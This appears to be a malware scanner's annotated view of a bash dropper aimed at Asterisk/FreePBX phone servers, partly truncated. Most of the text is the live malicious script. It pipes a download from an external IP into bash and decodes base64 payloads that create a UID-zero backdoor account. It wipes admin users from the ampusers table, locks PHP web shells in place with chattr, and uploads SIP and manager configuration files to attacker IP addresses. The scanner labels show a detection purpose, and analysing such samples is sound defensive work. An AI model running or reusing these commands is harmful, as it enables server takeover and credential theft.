Creates UID/GID-zero login account: k.php##base64@10689, k.php##base64@28079
Cron with base64 decode: k.php##base64@10689, k.php##base64@28079
Decoded payload pipes to shell: k.php##base64@10689
| 1 |
#!/bin/bash |
Encoded URL pinned to external IPv4 |
| 2 |
curl http://160.119.69.4/x -ks | bash |
|
| 3 |
echo -n 'PD9waHAgLyogdHJhY2VfMDI2MDQwMmQ1MzI5ZDNhMzM5YzlkYjkzYjNiZGU0ZTIgKi8gaWYoZmFsc2UpeyAkWFpRaUlYclpRdk5mSW90WCA9ICdkZWFkY29kZV9hbnRpX2F2JzsgfSAkR0pRaFRxeUJ2TENnQ2hkQyA9IGJhc2U2NF9kZWNvZGUoJ1puSm1ablppWVY5bVoyNWxaeWdwT3dwMmN5QW9kbVptY21jb0pGOUZVa1JJVWtaSFd5ZDZjVFVuWFNrZ0ppWWdlbkUxS0NSZlJWSkVTRkpHUjFzbmVuRTFKMTBwSUQwOUlDYzVPVEExTVRZNWNqRnlNbkV6TW5JeWNYQXpOalE1TURaek5qRTNjalp4Y3ljcElIc0tJQ0FnSUNSZlJsSkdSbFpDUVZzbmVXSmllSFluWFNBOUlDZDVZblIwY25Fbk93cDlDblp6SUNnaGRtWm1jbWNvSkY5R1VrWkdWa0pCV3lkNVltSjRkaWRkS1NrZ2V3b2dJQ0FnY25CMVlpQW5QSE5pWlhvZ2JuQm5kbUpoUFNJaUlIcHlaM1ZpY1QwaVkySm1aeUkrSnpzS0lDQWdJSEp3ZFdJZ0p6eDJZV05vWnlCbmJHTnlQU0puY210bklpQmhi… |
PHP decodes a large Base64 literal |
| 5:70 |
…SGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash |
|
| 6 |
echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash |
Encoded payload detected: base64 |
| 7 |
mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';" |
|
| 8 |
mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampu… |
|
| 27:323 |
…taccess |
|
| 28 |
chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null |
|
| 29 |
chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null |
|
| 30 |
chattr +i /var/www/html/h.php 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null |
|
| 31 |
echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW… |
Encoded URL pinned to external IPv4 |
| 32:17361 |
…/test.sh; bash /var/spool/asterisk/tmp/test.sh; rm -rf /var/spool/asterisk/tmp/test.sh |
|
| 33 |
echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfcmVnaXN0cmF0aW9ucy5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9tYW5hZ2VyLmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLnRyYW5zcG9ydHMuY29uZiIgaHR0cDovLzQ1Ljk1… |
Encoded URL pinned to external IPv4 |
| 33:2195 |
…i8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTU=' | base64 -d |bash |
|
| 34 |
echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vMTYwLjExOS42OS40L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3NpcF9yZWdpc3RyYXRpb25zLmNvbmYiIGh0dHA6Ly8xNjAuMTE5LjY5LjQvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwgLUYgImZpbGU9QC9ldGMvYXN0ZXJpc2svbWFuYWdlci5jb25mIiBodHRwOi8vMTYwLjExOS42OS40L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly8xNjAuMTE5LjY5LjQvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwgLUYgImZpbGU9QC9ldGMvYXN0ZXJpc2svcGpzaXAudHJhbnNwb3J0cy5jb25mIiBodHRwOi8vMTYwLjExOS42… |
Encoded URL pinned to external IPv4 |